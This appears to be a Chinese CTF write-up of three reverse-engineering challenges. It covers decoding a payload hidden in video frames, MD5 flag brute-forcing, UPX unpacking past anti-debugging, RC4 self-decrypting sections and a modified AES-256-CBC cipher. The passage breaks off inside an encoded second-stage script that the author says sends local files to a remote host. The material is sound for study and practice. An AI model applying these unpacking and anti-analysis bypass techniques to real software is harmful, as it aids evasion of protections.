软件系统安全赛-华北-初赛re

周六打的一个比赛,个人感觉re题好套娃呀 。也可能是因为本人是菜鸡🥲

话不多说,下面是菜鸡的题解,记录一下🤓

re1

拿到附件后是一个mp4和一个Loader ELF文件。先对那个ELF文件查壳

img

无壳,64位,直接ida进行逆向分析。

img

这个main函数的逻辑是先检查当前目录是否存在video.mp4,如果不存在就打印提示退出,如果存在就把内置的一个base64编码的pyc数据 解码出来,写入文件stager.pyc,然后给他加执行权限,再调用其他函数去运行这个Python 字节码文件。

直接进行base64解码

img

然后去010里面新建一个16进制文件,把这些16进制复制进去(使用快捷键Ctrl+Shift+V),再把文件名改成了1.pyc并保存。

img

然后去在线网站上将pyc文件转成py文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from PIL import Image
import math
import os
import sys
import numpy as np
import imageio
from tqdm import tqdm
def file_to_video(input_file, width=640, height=480, pixel_size=8, fps=10, output_file='video.mp4'):
if not os.path.isfile(input_file):
return None
file_size = os.path.getsize(input_file)
binary_string = ''
with open(input_file, 'rb') as f:
for chunk in tqdm(iterable=iter(lambda: f.read(1024), b''), total=math.ceil(file_size / 1024), unit='KB', desc='读取文件'):
binary_string += ''.join((f'{byte:08b}' for byte in chunk))
xor_key = '10101010'
xor_binary_string = ''
for i in range(0, len(binary_string), 8):
chunk = binary_string[i:i + 8]
if len(chunk) == 8:
chunk_int = int(chunk, 2)
key_int = int(xor_key, 2)
xor_result = chunk_int ^ key_int
xor_binary_string += f'{xor_result:08b}'
else:
xor_binary_string += chunk
binary_string = xor_binary_string
pixels_per_image = width // pixel_size * (height // pixel_size)
num_images = math.ceil(len(binary_string) / pixels_per_image)
frames = []
for i in tqdm(range(num_images), desc='生成视频帧'):
start = i * pixels_per_image
bits = binary_string[start:start + pixels_per_image]
if len(bits) < pixels_per_image:
bits = bits + '0' * (pixels_per_image - len(bits))
img = Image.new('RGB', (width, height), color='white')
for r in range(height // pixel_size):
row_start = r * (width // pixel_size)
row_end = (r + 1) * (width // pixel_size)
row = bits[row_start:row_end]
for c, bit in enumerate(row):
color = (0, 0, 0) if bit == '1' else (255, 255, 255)
x1, y1 = (c * pixel_size, r * pixel_size)
img.paste(color, (x1, y1, x1 + pixel_size, y1 + pixel_size))
frames.append(np.array(img))
with imageio.get_writer(output_file, fps=fps, codec='libx264') as writer:
for frame in tqdm(frames, desc='写入视频帧'):
writer.append_data(frame)
if __name__ == '__main__':
input_path = 'payload'
if os.path.exists(input_path):
file_to_video(input_path)
else:
sys.exit(1)

它的作用不是“正常生成视频”,而是把一个文件 payload 编码成黑白视频 video.mp4。

这段代码是读取文件payload的全部二进制内容,把每个字节转成8位的二进制字符串,对每个字节做一次固定异或0xAA。

然后把异或的比特流按照1 bit = 1个黑白块,编码进视频帧,输出成 video.mp4。

解码:先读取 video.mp4,然后逐帧提取图像,把每个 8×8 块采样成 1 bit。

黑=1,白=0,拼回 bitstream,每 8 bit 还原成 1 byte。每个 byte 再异或 0xAA,最后输出原始 payload。

解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import imageio
import numpy as np
from tqdm import tqdm

def video_to_file(
input_video='video.mp4',
output_file='payload_restored',
width=640,
height=480,
pixel_size=8,
threshold=128
):
reader = imageio.get_reader(input_video)

bits = []

grid_w = width // pixel_size
grid_h = height // pixel_size

try:
frame_count = reader.count_frames()
except Exception:
frame_count = None

iterator = range(frame_count) if frame_count is not None else None

if iterator is not None:
for i in tqdm(iterator, desc='读取视频帧'):
frame = reader.get_data(i)
frame_bits = extract_bits_from_frame(frame, grid_w, grid_h, pixel_size, threshold)
bits.extend(frame_bits)
else:
for frame in tqdm(reader, desc='读取视频帧'):
frame_bits = extract_bits_from_frame(frame, grid_w, grid_h, pixel_size, threshold)
bits.extend(frame_bits)

reader.close()

restored = bytearray()

for i in tqdm(range(0, len(bits) - 7, 8), desc='恢复字节'):
byte_bits = ''.join(bits[i:i + 8])
value = int(byte_bits, 2) ^ 0xAA
restored.append(value)

with open(output_file, 'wb') as f:
f.write(restored)

print(f'已恢复文件: {output_file}')
print(f'恢复字节数: {len(restored)}')
print('注意:由于原始编码未保存真实长度,文件尾部可能包含少量填充数据')

def extract_bits_from_frame(frame, grid_w, grid_h, pixel_size, threshold):
if frame.shape[0] != grid_h * pixel_size or frame.shape[1] != grid_w * pixel_size:
# 如果视频尺寸和预期不完全一致,按最小区域处理
h = min(frame.shape[0] // pixel_size, grid_h)
w = min(frame.shape[1] // pixel_size, grid_w)
else:
h = grid_h
w = grid_w

bits = []

# 只取 RGB,避免 alpha 干扰
if frame.ndim == 3 and frame.shape[2] >= 3:
frame_rgb = frame[:, :, :3]
else:
frame_rgb = np.stack([frame] * 3, axis=-1)

for r in range(h):
for c in range(w):
y1 = r * pixel_size
y2 = y1 + pixel_size
x1 = c * pixel_size
x2 = x1 + pixel_size

block = frame_rgb[y1:y2, x1:x2]
mean_val = block.mean()

# 编码时:黑=1,白=0
bit = '1' if mean_val < threshold else '0'
bits.append(bit)

return bits

if __name__ == '__main__':
video_to_file(
input_video=r"E:\CTF\华北\re1\video.mp4",
output_file=r'E:\CTF\华北\re1\payload_restored',
width=640,
height=480,
pixel_size=8,
threshold=128
)

得到一个elf文件,接着进行逆向分析。

main函数

img

看到off_4020,发现有很多的16进制字符串

img

我猜测可能是md5,找个在线网站试试

img

发现这个是d,dart的字符d。

那这个逻辑就是flag的每一位都是md5,写个爆破更快些。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import hashlib

hash_list = [
"8277e0910d750195b448797616e091ad",
"0cc175b9c0f1b6a831c399e269772661",
"4b43b0aee35624cd95b910189b3dc231",
"e358efa489f58062f10dd7316b65649e",
"f95b70fdc3088560732a5ac135644506",
"c81e728d9d4c2f636f067f89cc14862c",
"0cc175b9c0f1b6a831c399e269772661",
"92eb5ffee6ae2fec3ad71c777531578f",
"c4ca4238a0b923820dcc509a6f75849b",
"8fa14cdd754f91cc6554c9e71929cce7",
"92eb5ffee6ae2fec3ad71c777531578f",
"c9f0f895fb98ab9159f51fd0297e236d",
"0cc175b9c0f1b6a831c399e269772661",
"336d5ebc5436534e61d16e63ddfca327",
"92eb5ffee6ae2fec3ad71c777531578f",
"c9f0f895fb98ab9159f51fd0297e236d",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"cfcd208495d565ef66e7dff9f98764da",
"336d5ebc5436534e61d16e63ddfca327",
"a87ff679a2f3e71d9181a67b7542122c",
"e4da3b7fbbce2345d7772b0674a318d5",
"e1671797c52e15f763380b45e841ec32",
"8f14e45fceea167a5a36dedd4bea2543",
"336d5ebc5436534e61d16e63ddfca327",
"c9f0f895fb98ab9159f51fd0297e236d",
"c9f0f895fb98ab9159f51fd0297e236d",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"cfcd208495d565ef66e7dff9f98764da",
"336d5ebc5436534e61d16e63ddfca327",
"1679091c5a880faf6fb5e6087eb1b2dc",
"1679091c5a880faf6fb5e6087eb1b2dc",
"4a8a08f09d37b73795649038408b5f33",
"8f14e45fceea167a5a36dedd4bea2543",
"e1671797c52e15f763380b45e841ec32",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"92eb5ffee6ae2fec3ad71c777531578f",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"e1671797c52e15f763380b45e841ec32",
"cfcd208495d565ef66e7dff9f98764da",
"e4da3b7fbbce2345d7772b0674a318d5",
"0cc175b9c0f1b6a831c399e269772661",
"cbb184dd8e05c9709e5dcaedaa0495cf",
]

table = {}
for i in range(32, 127):
ch = chr(i)
table[hashlib.md5(ch.encode()).hexdigest()] = ch

flag = ''.join(table.get(h, '?') for h in hash_list)
print(flag)
img

re2

拿到题目附件后,先放到die里面去查壳

img

发现加了upx壳,放到010里面看看有没有魔改,发现把UPX都换成了CTF,把这些都改回来。

img

改后保存一下,发现用upx -d 脱不出来,想着去手脱,但是发现有反调试,一用x64dbg打开就会闪退。然后就去用工具XVolkolak.v0.22-Win32去脱壳,发现可以脱掉。

img

这个脱掉之后就是一个challenge_1.unp.exe文件,直接去ida打开,进行分析。

通过搜索字符串 error: Invalid password! 可以定位关键的逻辑。

img

大概分析一下,这个是校验口令是不是Str2 “NGeQwv8eCRpINEcO”,如果是的话,就会把一段内置的base64数据进行解码,然后写到一个临时文件(PE文件)里面。但是前面那个 1A30函数 和 1550()函数分别做了初始化和反脱壳的检测吧,如果检测通过才会提示用户输入字符串然后比较,sub_401660()是一个base64解密。

这里我选择了直接进行base64解密,然后写入到exe文件。

img

然后把16进制在010里面新建一个16进制的文本,复制进去,保存后改成1.exe。

img

继续使用die去查信息,无壳,64位

img

直接ida启动。继续进行分析

通过搜索字符串可以确定关键的代码处。也就是程序的开始吧,函数sub_401550

img

这个大概意思是从标准输入读入一行到Buffer,然后计算长度,检查长度是否合法,接着就去调用nullsub_3(Buffer, n240),这里面才是真正的key校验逻辑,然后根据结果通过qword_40B030去回传状态,S就是成功,F就是输入非法,Error就是校验失败。

那需要接着看nullsub_3

img

双击后看到程序跳到一大段一大段的数据,很明显,这个可能是smc那种的。

又发现函数里有rc4加密

img

img

这个是标准的rc4加密,通过交叉引用可以看到哪里调用了

img

这个可以说明,这就是smc,程序用标准的rc4去解密一个.mydata段,把unk_4070C0 的前 32 字节当成rc4的key。

再对这个函数进行交叉引用可以看到

img

说明同样的也是对.hello段进行了rc4的自解密。

img

我们可以查到起始和终止的地址,直接写idapython脚本去解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
addr=0x408000 
size = 0x409000 - 0x408000
def rc4(data,key):
#初始化S盒
S = list(range(256))
j = 0
out = []
#KSA
for i in range(256):
j = (j + S[i] +key[i % len(key)]) % 256
S[i],S[j] = S[j],S[i]

i=j=0
for c in data:
i = (i+1) % 256
j = (j+S[i]) % 256
S[i],S[j] = S[j],S[i]
K=S[(S[i] + S[j])% 256]
out.append(c ^ K) #按位异或

return bytes(out)

key=bytes([
0xc7, 0xae, 0xd8, 0x6f, 0x92, 0x41, 0x04, 0x45,
0xa1, 0x48, 0x03, 0xc3, 0x05, 0x14, 0x85, 0x17,
0x0e, 0x4a, 0xcf, 0x62, 0xd5, 0xe6, 0xd5, 0xbf,
0x83, 0x4f, 0xed, 0xe1, 0x7c, 0x5a, 0xf0, 0x33
])

data = ida_bytes.get_bytes(addr,size)
dec = rc4(data,key)
ida_bytes.patch_bytes(addr, dec)

print("ok")
addr=0x404000
size =0x406000 - 0x404000
def rc4(data,key):
#初始化S盒
S = list(range(256))
j = 0
out = []
#KSA
for i in range(256):
j = (j + S[i] +key[i % len(key)]) % 256
S[i],S[j] = S[j],S[i]

i=j=0
for c in data:
i = (i+1) % 256
j = (j+S[i]) % 256
S[i],S[j] = S[j],S[i]
K=S[(S[i] + S[j])% 256]
out.append(c ^ K) #按位异或

return bytes(out)

key=bytes([
0xc7, 0xae, 0xd8, 0x6f, 0x92, 0x41, 0x04, 0x45,
0xa1, 0x48, 0x03, 0xc3, 0x05, 0x14, 0x85, 0x17,
0x0e, 0x4a, 0xcf, 0x62, 0xd5, 0xe6, 0xd5, 0xbf,
0x83, 0x4f, 0xed, 0xe1, 0x7c, 0x5a, 0xf0, 0x33
])

data = ida_bytes.get_bytes(addr,size)
dec = rc4(data,key)
ida_bytes.patch_bytes(addr, dec)

print("ok")

也可以直接在call 这里下断点,直接动调。

img

输入个111,然后找到hello段,去进行U结构,P重新定义,就能看到加密逻辑了。

会先进到_BOOL8 __fastcall sub_404EF0(char *a1)函数里面,这就与一开始分析的联系上了,a1就是用户输入的字符串,返回值是0或1(输入正确)。

img

逻辑是从 a1 里读取字符串,一旦碰到 \0,说明字符串结束,就去做 padding。然后是PKCS#7 填充。

这个函数校验只处理一个16字节块,接着调用加密函数loc_404CB0。

下面是loc_404CB0函数

img

这个函数大概是CBC 模式加密。

这个比较重要的地方在于它 能说明.mydata 里那 3 块密文不是随便放的,而是:用同一个 AES-256 key,用同一个 IV,按 CBC 链式加密出来的整段数据。

接着就是继续去跟进函数去分析。这个就是一个AES-CBC模式的加密。

sub_404B60:AES-256 单块加密

img

byte_4071E0:这个函数就是AES 的S盒

sub_404940:AES-256 的密钥扩展

sub_404070:这个是ShiftRows,aes加密里的行变换

sub_404190:这个是MixColumns,aes加密里的列混淆

但这个有魔改的地方,在于

1.自定义 S盒

2,自定义的 RCON。AES-256 标准 RCON 是 [0x01,0x02,0x04,…],但是程序里用的是:

RCON = [0x9C, 0x10, 0x13, 0x15, 0x19, 0x01, 0x31, 0x51, 0x91, 0x0A, 0x27]

3.在 sub_404A5E 里先把明文块和最后一轮 round key 做 XOR

4.自定义的列混淆

5.不是标准 AES-256 密钥扩展,而是按照 sub_404940 实现,每 8 个字(32 字节)循环一次,第 8 的倍数做 rotate + SBOX + RCON XOR,第 4 个做 S盒。

key从 0x408001 开始,到 0x408020 结束

key的下面就是iv和3组密文

img

写出解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
SBOX = [
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16,
]

INV_SBOX = [
0x52,0x09,0x6a,0xd5,0x30,0x36,0xa5,0x38,0xbf,0x40,0xa3,0x9e,0x81,0xf3,0xd7,0xfb,
0x7c,0xe3,0x39,0x82,0x9b,0x2f,0xff,0x87,0x34,0x8e,0x43,0x44,0xc4,0xde,0xe9,0xcb,
0x54,0x7b,0x94,0x32,0xa6,0xc2,0x23,0x3d,0xee,0x4c,0x95,0x0b,0x42,0xfa,0xc3,0x4e,
0x08,0x2e,0xa1,0x66,0x28,0xd9,0x24,0xb2,0x76,0x5b,0xa2,0x49,0x6d,0x8b,0xd1,0x25,
0x72,0xf8,0xf6,0x64,0x86,0x68,0x98,0x16,0xd4,0xa4,0x5c,0xcc,0x5d,0x65,0xb6,0x92,
0x6c,0x70,0x48,0x50,0xfd,0xed,0xb9,0xda,0x5e,0x15,0x46,0x57,0xa7,0x8d,0x9d,0x84,
0x90,0xd8,0xab,0x00,0x8c,0xbc,0xd3,0x0a,0xf7,0xe4,0x58,0x05,0xb8,0xb3,0x45,0x06,
0xd0,0x2c,0x1e,0x8f,0xca,0x3f,0x0f,0x02,0xc1,0xaf,0xbd,0x03,0x01,0x13,0x8a,0x6b,
0x3a,0x91,0x11,0x41,0x4f,0x67,0xdc,0xea,0x97,0xf2,0xcf,0xce,0xf0,0xb4,0xe6,0x73,
0x96,0xac,0x74,0x22,0xe7,0xad,0x35,0x85,0xe2,0xf9,0x37,0xe8,0x1c,0x75,0xdf,0x6e,
0x47,0xf1,0x1a,0x71,0x1d,0x29,0xc5,0x89,0x6f,0xb7,0x62,0x0e,0xaa,0x18,0xbe,0x1b,
0xfc,0x56,0x3e,0x4b,0xc6,0xd2,0x79,0x20,0x9a,0xdb,0xc0,0xfe,0x78,0xcd,0x5a,0xf4,
0x1f,0xdd,0xa8,0x33,0x88,0x07,0xc7,0x31,0xb1,0x12,0x10,0x59,0x27,0x80,0xec,0x5f,
0x60,0x51,0x7f,0xa9,0x19,0xb5,0x4a,0x0d,0x2d,0xe5,0x7a,0x9f,0x93,0xc9,0x9c,0xef,
0xa0,0xe0,0x3b,0x4d,0xae,0x2a,0xf5,0xb0,0xc8,0xeb,0xbb,0x3c,0x83,0x53,0x99,0x61,
0x17,0x2b,0x04,0x7e,0xba,0x77,0xd6,0x26,0xe1,0x69,0x14,0x63,0x55,0x21,0x0c,0x7d,
]

# 样本里的自定义 Rcon
RCON = [0x9C, 0x10, 0x13, 0x15, 0x19, 0x01, 0x31, 0x51, 0x91, 0x0A, 0x27]

def xtime(x: int) -> int:
x <<= 1
if x & 0x100:
x ^= 0x11B
return x & 0xFF

def gf_mul(a: int, b: int) -> int:
r = 0
for _ in range(8):
if b & 1:
r ^= a
a = xtime(a)
b >>= 1
return r

def inv_shift_rows(state):
t = state[:]
return [
t[0], t[13], t[10], t[7],
t[4], t[1], t[14], t[11],
t[8], t[5], t[2], t[15],
t[12], t[9], t[6], t[3],
]

def inv_mix_columns(state):
out = state[:]
for c in range(4):
i = c * 4
a0, a1, a2, a3 = state[i:i+4]
out[i+0] = gf_mul(a0, 14) ^ gf_mul(a1, 11) ^ gf_mul(a2, 13) ^ gf_mul(a3, 9)
out[i+1] = gf_mul(a0, 9) ^ gf_mul(a1, 14) ^ gf_mul(a2, 11) ^ gf_mul(a3, 13)
out[i+2] = gf_mul(a0, 13) ^ gf_mul(a1, 9) ^ gf_mul(a2, 14) ^ gf_mul(a3, 11)
out[i+3] = gf_mul(a0, 11) ^ gf_mul(a1, 13) ^ gf_mul(a2, 9) ^ gf_mul(a3, 14)
return out

def expand_key_256_custom(master_key: bytes):
# 对应 sub_404940,key 必须是 0x408001~0x408020 共 32 字节
words = [list(master_key[i:i+4]) for i in range(0, 32, 4)]
i = 8
while i < 60:
temp = words[i - 1].copy()
if i % 8 == 0:
temp = temp[1:] + temp[:1]
temp = [SBOX[x] for x in temp]
temp[0] ^= RCON[i // 8 - 1]
elif i % 8 == 4:
temp = [SBOX[x] for x in temp]

prev = words[i - 8]
words.append([prev[j] ^ temp[j] for j in range(4)])
i += 1

round_keys = []
for r in range(15):
rk = []
for w in words[r*4:(r+1)*4]:
rk.extend(w)
round_keys.append(bytes(rk))
return round_keys

def aes256_decrypt_block_custom(block: bytes, key: bytes) -> bytes:
rks = expand_key_256_custom(key)
state = list(block)

# 对应 sub_404A5E
state = [x ^ y for x, y in zip(state, rks[14])]

for r in range(13, 0, -1):
state = inv_shift_rows(state)
state = [INV_SBOX[x] for x in state]
state = [x ^ y for x, y in zip(state, rks[r])]
state = inv_mix_columns(state)

state = inv_shift_rows(state)
state = [INV_SBOX[x] for x in state]
state = [x ^ y for x, y in zip(state, rks[0])]
return bytes(state)

def cbc_decrypt(ciphertext: bytes, key: bytes, iv: bytes) -> bytes:
out = bytearray()
prev = iv
for i in range(0, len(ciphertext), 16):
c = ciphertext[i:i+16]
p = bytes(x ^ y for x, y in zip(aes256_decrypt_block_custom(c, key), prev))
out.extend(p)
prev = c
return bytes(out)

def pkcs7_unpad(data: bytes) -> bytes:
pad = data[-1]
if not (1 <= pad <= 16):
raise ValueError("invalid padding")
if data[-pad:] != bytes([pad]) * pad:
raise ValueError("invalid padding bytes")
return data[:-pad]

if __name__ == "__main__":
# key:从 0x408001 开始,到 0x408020 结束
key = bytes.fromhex(
"c23012ab39101833f8ed4e468da15d8d"
"8cfbf0726899dc7c846e7ecf32bbdaf8"
)

iv = bytes.fromhex(
"aeba0dbbca267f9906ed7c70e38d8b11"
)

ciphertext = bytes.fromhex(
"9b5e1e8fd7c34362a23786c0ce3d3cf4"
"c3b688ff3c9c13d2bb6f49ceff59a25c"
"36e4619e6061c3bb3f63af003b3d8da7"
)

plaintext = cbc_decrypt(ciphertext, key, iv)
print("plaintext hex :", plaintext.hex())
print("plaintext raw :", plaintext)

unpadded = pkcs7_unpad(plaintext)
print("unpadded hex :", unpadded.hex())
print("unpadded raw :", unpadded)

img

re3

拿到附件后是两个,1个是pcap流量,还有1个是client文件,先去DIE里面去查。

img

这个是python语言写的,用了PyInstaller工具打包,那就是把这个用Pyinstxtractor工具变成pyc文件,然后pyc文件再去转py文件。

我是直接用的在线网站去做了,https://pyinstxtractor-web.netlify.app/

这是转pyc的,结果如下

img

把client.pyc接着去转成py文件,我用的在线网站

https://pylingual.io/view_chimera?identifier=b393e33eea44717799a7f11e7119cefdf1e03ab2ca18d21080fd120297248226

转出的结果如下所示

img

这只是第一部分,大概是先做了一个反调试检测,然后把一大段Base85 编码内容存放在 _1667 中,再通过 _obf_exec(...) 去动态执行第二部分。在第二部分会导入crypt_core,得到一段密钥,对本地的文件进行处理后,通过TCP socket去发往远端。

接着对这些内容进行base85解码

1
2
3
4
5
6
7
import base64

_1667 = """UurNQJs@mhZDM3$Iv^-BFd$waF)}tOAS)m!H8L<DB_J|3DGFa|F(5r4Y+-F;WMMiWC^0oSAYLFbI5a6BD<CL1GB6+|AT=~83SVk6AUz;#VQpe$VLBivGdCb!ATlW+D<CK~I5!|AATl*63SVk7AUz;#VQpe$VLBivH!>hzATcpADIhB#C^R=TASEC(FewUOYBV4{AZ%f6Vq{@DASf|6Gaz0dI5H_9D<CK`H8&t7AU8893SVk9AUz;#VQpe$VLBivF)=qFULZ0sGbtb|ASg34F(4%%H8d#-UurfWJs@mhZDM3$Iv^-AG%_GwAT%~9AS)m!I5ajOB_K01DGFa|Hy}MAY+-F;WMMiWC^9i1ULY|vI4K}2ASg64H6SG*H#aE?UurlYJs@mhZDM3$Iv^-9GdUn$ATcvEDIhB#C^RxRASEC&F)0dPYB?Z1AZ%f6Vq{@DASg04H6UIfHZmz7D<CK|F*6_~AUHKC3SVk5Fd#i3Y+-F;WMMiWC^9rMAYLFgH7Ot~ASgIFG9V=&GcYL%UurQiAUz;#VQpe$VLBivGBO}uAT>BCAS)m!H#9IHB_K69DGFa|F)|=MAZ%f6Vq{@DASf|2IUrsjGBh|TAS)m!H#adLB_KC6DGFa|F*6`NAZ%f6Vq{@DASg01IUrsjGBYqKAS)m!GBz?GB_K94DGFa|F*G1OAZ%f6Vq{@DASf|6AYLFiIVm73ASgC6G9V=&GdL*<UurQmAUz;#VQpe$VLBivGBP<JULZ0sH7Ot~ASg37IUpq<GBqg*UurQnAUz;#VQpe$VLBivF)=Y9ULZ3wDIhB#C^R!OASEC*FewUOYB4t;Js@mhZDM3$Iv^-CF(6(bF*GtMAS)m!H8C<EB_J{}DGCZ>Y+-YAAYV^nW-~W8HaZF*ARr)QWo95>UukY>bYEX6b7gF1DLM)uARr(hARr)fWo%|HUv?lpAU8EJ3LqdLAY^4`AYW}Lb7gF1DLM)uARr(hARr)eWps6NZXk1IY-TQBb|5MsH3|wNAun}vaxY?OZZBnSb|7$hbZBpGGYSf6ZE$aLbRctYV{2t}3TbU{Z*p`XYIARH3TbU{Z*p`XZ*vN1ZE$aLbRctia|&r~aBp&SAZTH8Xl!X>3TbU{Z*p`XbZKp63JP<1b1raUbZ9PVZgXXFbSN+^Aa8RnaA9<4E@WwPZeeX@C~tEvaA9<4E@WwPZeeX@C~tEvaA9<4E@5JGaA9<4C|_S@X>4U*UnwamDGF(AaBp&SAY*cQaCBc|Z*pY{3JPOvVRLgJLv?d>Z*4+hb7eL(Itm~lARt3kQ&dk)UqMVzNI^nHR3JSdUvFh7A~-xeLQHRKF;#L>eP2>OGB<ftZEbTgWNKAOCVMD1OmlldaBVwdKxIl%Sz19Ya#TolG;nWyVRtn(IZHxeRd+vYNN_|#R%d8(S0hVOaw04sI5R9DGBGqPATc*73LqdLAX8L9PDDXcL|;KnP)I>SMN}X?ASenTARr(hARr)LZ)GSVFlK6dWM)cFUqeqpKV>O5ZZuv^Z$2hIGgMw)S5z@VSyx4IM^tWFSSd3}Hb#7YLwa?2BSBeYa87U}N-au$VmnqvYd1kzbXIg&HDh{xA}k;{Gb|u7F*Gb7F*hj+ARr(hDGDGUARt9fLr+9SUsORtOhq6)AaitbE^T3JWpr|3ZgVJ8R6$NeK~h9tK}=9cK|)1TEFeQwQ&dk)UqMVzNI^nHR4ED|ARr(_MMF<SMPF1wLQF*<Js@**axQIQYh`qDVQzCMLse5$PfcGzOi)NcLPb<8AX8L9PDDXcL|;KnP)I>SMN}yY3LqdLAV6bmVRLhBWprq7WC|c4ARuIAW*}r`V{c?-C}V7MEFffIbYVImb98bkAT2&1VtI6Bb2<tjARr(hARr)VZE$aLbRc43b7eL(3JM?~ARr(hARu#eWM5)7G$1`7WMOn+E_8BXZgXs5bY&=GY;!I|MMF<SMPF1wLQF*|3LqdLARr(hAaZ4Nb#iVXVqtS-HZ(3`HZ){qV{c?-D06gVUt%^iDGCY-Q$<o%MN(f#Pg7JNJs=_?3R6W=Rz*@@P)|}+AUz;CIXO8BOGQ~<LN+uYJs@9iWhf#;H%&oxaAadObW%c1AvH2<b~IOQaDGT^Wne)xPBmb3KQ(SoVp%Ipel}2gHFso2DtSFcBzjSHA$VFMEFd^DEFdy5G%O%7Hz^8BMOh#{AVYO?bZ>1!VRL0RG%jRiV{c?-C`(0IUqUuCDGEkOOhr>)R8L=1MNUK@Js?|OZ)GSVNiA@FMs`yvaWG|VL?SF8I5R9DGBGqPATc*7EFfQRWhf#-C@n%tUpzuKPa-TJI5R9DGBGqPATc*7EFfQRWhf#;Bu#iybXqw%du44zA}k;{Gb|u7F*Gb7F*hk)3JMBjWo95>Z*XC8b!A_4a&=`WDLM)uARr)LcpyC>FbW_bARuOMav)!6AZczOa$#;~WhgN)Fey3;ARr(hARr(hUw9xZJs@9cASxgzUuhsMAYW-9D<Cl`3LqdLAaZ4Nb#iVXUw9xsJs>a&3JPRpW*}d0aA9$EWnX4tY;$EODLM)uARr)LVJskDVjw*rH7p=E3LqdLAaZ4Nb#iVXC|_Y9Dj;8CDIh&PAShpAASxhVVIV6YF)0cP3S?zwAYWu<VPs!pVQgb4DLM)uARr)LWMyGwAUz;33LqdLAZBlJAYW-9X>K5LVQyz-C^axCItm~lARr(hARu34Wnp9>Js>DwWMyGwAS)nWX(=EjATc)zARr(hARr(hX=Wf_WMyGwAU+^5Ffcj_ARr(hARr(hARr(hUu0!rWFS2tUu0!rWFRUaG9W7;F$y3cARuyObairWAYWu<VPpyl3S?zwAZ2c2a(QrcUuJ1+WhiT9c{(6sd30rSEFf@fVQFr3Wq5QtAYyrRWpgPYEj}P(d30rSItm~lARu3JbYXO5AUz;33LqdLAYXE2b9HQVAUz;XZ*FA@ARr(hcW7yBWguU3bYXO5AUq&5Itm~lARr(hARuXGAYXHIVRU66Jv|^WItm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYXE2b9HQVAUz;sa(QrcUt@1_WiDlIV{c?-Uu0o)VJL8HVQFr3Wq5QfAZulLTRJf|T`3A6ARr(hARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU